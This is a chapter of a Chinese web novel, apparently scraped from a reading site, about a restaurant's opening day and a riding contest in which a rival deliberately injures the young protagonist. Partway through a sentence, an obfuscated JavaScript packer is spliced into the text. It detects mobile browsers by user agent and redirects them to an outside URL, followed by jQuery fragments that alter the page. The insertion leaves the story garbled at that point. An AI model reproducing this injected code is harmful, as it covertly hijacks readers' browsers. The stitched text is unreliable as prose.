33. 校场扬尘

作品:《这个黑心莲是不是有病?

    巳时刚过,金玉楼的大门便正式开了。


    原以为今日会没什么生意,没想到刚开门,便有周边几户商户来了。


    以往金玉楼是做糕点,大多数人都尝过,可这堂食还是第一次。


    “苏姑娘,你这堂食,做的什么讲究?”来人是对面粮食铺的梁掌柜。


    “梁掌柜说笑了,都是些寻常的酒楼菜色,掌柜的可要试试?”苏若卿招呼梁掌柜坐下,“今日开业活动,凡是上座的,每桌送一碟糕点。”


    梁掌柜笑道:“你的手艺,肯定要试的,每次到饭点闻见你做的饭菜,勾得我铺子里伙计都没心思看秤了。”


    他也还是第一次见到,掌柜的跟手下的小工做吃食的。


    “成,梁掌柜想吃些什么?”卫山见状招呼了上去,顺势拿出写好的菜单,"咱们姑娘做的吃食,保管在京城是独一份,不仅味道好价格也实在。"


    这句是卫山的真心话,虽然他没吃过什么特别好吃的,但这价格比起其他普通酒楼来说,确实优惠不少。


    梁掌柜的一瞧,寻常酒楼的价格普遍是在三十文,若是在雅间,则是五十文最低,可金玉楼的菜价大多标在二十文上下,个别荤菜也才三十文。


    “这定价,确实实在。”梁掌柜心中暗忖。


    若是真的好吃,日日来也算是吃的起。


    梁掌柜不知道什么菜色好,菜单翻来覆去看了好几遍:“你觉得哪样最好吃?”


    卫山顿时脆声道:“掌柜的莫不是打趣我?我没吃过什么好东西,姑娘做的我都喜欢,尤其是那道红烧肉,肥而不腻,香得能下三碗饭。”


    梁掌柜的索性也就不再纠结,直接要了红烧肉,顺道再要了二两酒。


    点心是提前备好的,刚点完菜,一碟荷花酥便端了上来。


    等着厨房里的香味飘散出去,陆陆续续又来了几人。


    点心跟寻常买的也不一样,是苏若卿花了心思设计的荷花酥。


    荷花酥外表,栩栩如生。


    乍一看,还真如荷花般。


    酥皮层层叠叠,边缘晕着一抹极淡的胭红。


    梁掌柜那碟送上桌时,满厅的目光都被引了过去。


    “这……这真是点心?”有人忍不住探头。


    梁掌柜拈起一块一口咬下去,先是酥皮的清脆,而后是内里绵密的莲蓉馅,混着淡淡的奶香,甜而不腻,入口即化。


    梁掌柜的吃了一口,忍不住夸赞:“苏姑娘做的点心,在京城里简直是绝了,能不能再给我打包几个,带回去给孩子尝尝。”


    他们家的女儿,最喜欢的便是苏姑娘做的点心,要是吃上这糕点,可得高兴坏了。


    卫山却是露出为难的笑:“实在对不住掌柜的,这荷花酥姑娘备的不多,只够每桌送上一碟尝个鲜,掌柜的实在想吃,不如晚上带着孩子一道来。”


    梁掌柜咂咂嘴,颇有些遗憾,却也不好再说什么。


    卫山转身进了厨房。


    他这一问,倒让旁桌几位本就好奇的客人愈发心痒。


    “这荷花酥真这么好吃?”


    “您尝尝便知。”卫山笑吟吟地给邻桌也送上了一碟,说着便转身进了厨房。


    菜还没上座,也就都闲聊起来。


    梁掌柜说的当然:“那肯定,你们要是觉得不好吃,尽管给我。”


    厅里顿时哄堂大笑。


    “美得你。”


    厨房里,苏若卿正在忙,经过梁掌柜的一说,卫山倒是有个不错的点子。


    “姑娘,梁掌柜的方才想买几个荷花酥。”


    苏若卿头也不抬道:“成,就在后头的篮里。”


    “我同他说,荷花酥不单独售卖,只在堂食时免费提供。”


    苏若卿忙着的手,顿时停了下来。


    连小花也都愣了。


    哪有将买卖往外赶的,也不怕苏姑娘生气,虽然她还未真正见过苏若卿发脾气。


    小花正想说卫山两句,忽的听见声轻笑。


    没想到卫山的脑子还真是够灵活的:“你这想法倒是不错。”


    仅限堂食,这点绝对是揽客的好手段。


    “成,就按你说的办。”苏若卿答应的痛快。


    得了她的肯定,卫山忙出了门,就知道她肯定会答应。


    小花在一旁摸不着头脑:“姑娘这是不生气?”


    苏若卿又继续忙着手上的活儿:“他为店里的生意着想,我为什么要生气,他的意思是说,荷花酥招客人喜欢,便能将客人留在店里。”


    “哦,”小花顿时就明白了,“他还真是聪明。”


    卫山无疑是他们之中最聪明的一个。


    只是苏若卿不明白,他这么头脑灵活的人,怎么还会沦落街头?


    “卫山可是有什么难处?”


    也只有这点,才能让他如此吧。


    当初也是程季说让他们进来,也没说什么缘由。


    小花叹了口气道:“卫山有个弟弟,身子经常不好,现在还在医馆住着呢,”


    弟弟?


    进来金玉楼,苏若卿还从未听过。


    “是个什么病?”


    看病从古至今,都是个难题。


    小花摇头:“他不肯说,说了怕咱们几个担心,只知道,想要彻底治好,得花费不少的银子。”


    说着,小花又补了一句:“姑娘现在对咱们好,我见他脸上也比从前轻快不少,想来很快就能治好。”


    苏若卿点头,能治至少还有希望。


    *


    未时的日头正烈,炙烤着兰台演武场。


    上午的经史文章刚歇,下午的弓马骑射便开始了。


    盛祈年在文学上虽有滞后,但在武学上是天赋异禀。


    可在兰台里,这种天赋,会更加的让人眼红,也更加的让人厌恶。


    京城里的世家公子,大多练武都是摆摆样子,偏生又看不惯盛祈年独树一帜,便要惹得他出糗才肯罢休。


    下午赛马。


    傅玉堂跟盛祈年比试。


    盛祈年根本就没将他放在眼中,锣鼓一敲,径直甩出他半米远。


    傅玉堂哪里肯罢休,在马上趁着其他人不注意,手腕一抬,细小的银针快速闪过,直接没入盛祈年身下的马中。


    马瞬间嘶鸣一声,撒开马蹄。


    盛祈年感觉不对劲,忙勒紧了缰绳,可眼下发了疯的马,哪里会听他的。


    在他控制马匹的间隙,身后的人已然将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225754|195121||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他追上。


    甚至还不忘回身对他得意道:“看来盛小侯爷,技艺也不过如此嘛。”


    最后关头,盛祈年被傅玉堂抢了先。


    知道盛祈年已经过了最后红线,身下的马还在场上疾驰,其他人才察觉到不对出来。


    他勒紧了缰绳,可马匹非但没有停下,反而因吃痛愈发癫狂。


    耳畔是猎猎风声,夹杂着模糊的惊呼声。


    盛祈年没有过多考虑,直接腰腹骤然发力,借着马匹之势,竟顺势而上,朝着侧方沙地疾滚下去。


    “砰!”


    霎时尘土飞扬。


    月白的衣衫在沙地滚了几滚,沾满灰黄。


    他落地的姿势勉强能卸力,但左肩和肋下传来的疼痛,还是让他闷哼一声,眼前黑了一瞬。


    偏偏就在他落地,还未完全起身的空当。


    一阵急促的马蹄声,已经冲到了眼前。


    是傅玉堂。


    他竟不知什么时候调转了马头,去而复返。


    脸上带着毫不掩饰的恶意,身下的马高高扬起前蹄,眼看就要朝着地上刚刚撑着身子的盛祈年踏下。


    “傅玉堂,你做什么?”


    远处的惊呼声,霎时漫开。


    傅玉堂嘴角咧开,眼中狠光一闪,手中的缰绳看似慌张的一抖,扬起的马蹄便恰好改了方向,没有冲要害处踏下,却重重的蹬踹在盛祈年的左腿上。


    “呃——”


    一声压抑的痛哼声从齿缝中挤出。


    盛祈年强撑的胳膊瞬间软了力道,整个人再次扑倒在尘土里。


    左腿处传来的剧痛,席卷全身。


    傅玉堂勒住马,居高临下看着伏地不起的人,故作慌张道:“盛小侯爷,你怎么摔倒这儿了?没伤者吧,我这马儿胆子小,怕是吓到了,没控住……真是对不住啊。”


    谁都看得出傅玉堂是故意的,可那番说辞,竟是让人一时难以指摘。


    盛祈年趴在地上,粗重的喘了几口。


    额发垂落,遮住了他眼底的杀意。


    盛祈年极尽的克制自己,众目睽睽之下,不能动手。


    傅玉堂与盛德不一样,他若死了,傅家必会追究到底。


    盛祈年咬着牙,一点点的重新站起来,左腿使不上半分力气,冷汗顺着冷白的下颔滴落,混入沙土中。


    任场上的人,都没有注意到。


    沙场边缘的槐树下,竟是不知何时多了两个人。


    轮椅上坐着的人,一身天青色常服,面容清俊,唇角甚至还噙着一丝极淡的笑意,只是那抹笑意却是未达眼底。


    赵景瑞侧头问着身边早已是汗流浃背的人:“多日未曾来兰台,竟是不知多了位这么不可多得的人才,圣上正值用人之际,祭酒可别看走眼了。”


    “是是是,”张怀远忙点头,“殿下说的是,盛小侯爷的确是个人才,定当好好培养。”


    赵景瑞说罢,便示意手下将他推了出去。


    原本只是心血来潮过来瞧瞧,没想到还真看到了好戏。


    张怀远这才趁着间隙,搽了搽额间的冷汗。


    看了眼场上正勉强支撑着身体的少年,心下一沉,没想到这盛小侯爷,竟然是端王的人。